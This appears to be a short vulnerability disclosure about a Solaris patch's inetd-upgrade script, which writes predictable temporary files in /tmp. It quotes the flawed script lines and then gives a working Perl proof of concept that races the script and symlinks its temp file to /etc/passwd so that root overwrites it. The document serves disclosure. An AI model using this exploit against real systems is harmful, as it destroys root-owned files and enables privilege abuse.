patches/137097-01/SUNWcsr/reloc/lib/svc/method/inetd-upgrade
 
lines :
 
72 inetdconf_entries_file=/tmp/iconf_entries.$$ 73
74 # Create sed script that prints out inetd.conf src line from inetconv generated 75 # manifest.
76 cat <<EOF > /tmp/inetd-upgrade.$$.sed 77 /propval name='source_line'/{
78 n
79 s/'//g
80 p
81 }
82 /from the inetd.conf(4) format line/{ 83 n
84 p
85 }
86 EOF
 
if 137097-01 is applied and changes need to be made to the inetd.conf file a malicious user can over write the contents of a root owned file with a simple script:
 
#!/usr/bin/perl 
$clobber = "/etc/passwd";
while(1) {
open ps,"ps -ef | grep -v grep |grep -v PID |";
 
while(<ps>) {
@args = split " ", $_;
 
if (/inetd-upgrade/) {
 
        print "Symlinking iconf_entries.$args[1] to  $clobber\n";
        symlink($clobber,"/tmp/iconf_entries.$args[1]");
        exit(1);
}
}
 
}